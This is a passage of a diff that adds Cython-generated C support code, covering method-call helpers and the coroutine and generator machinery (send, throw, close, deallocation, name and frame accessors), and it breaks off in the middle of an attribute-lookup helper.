__Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if 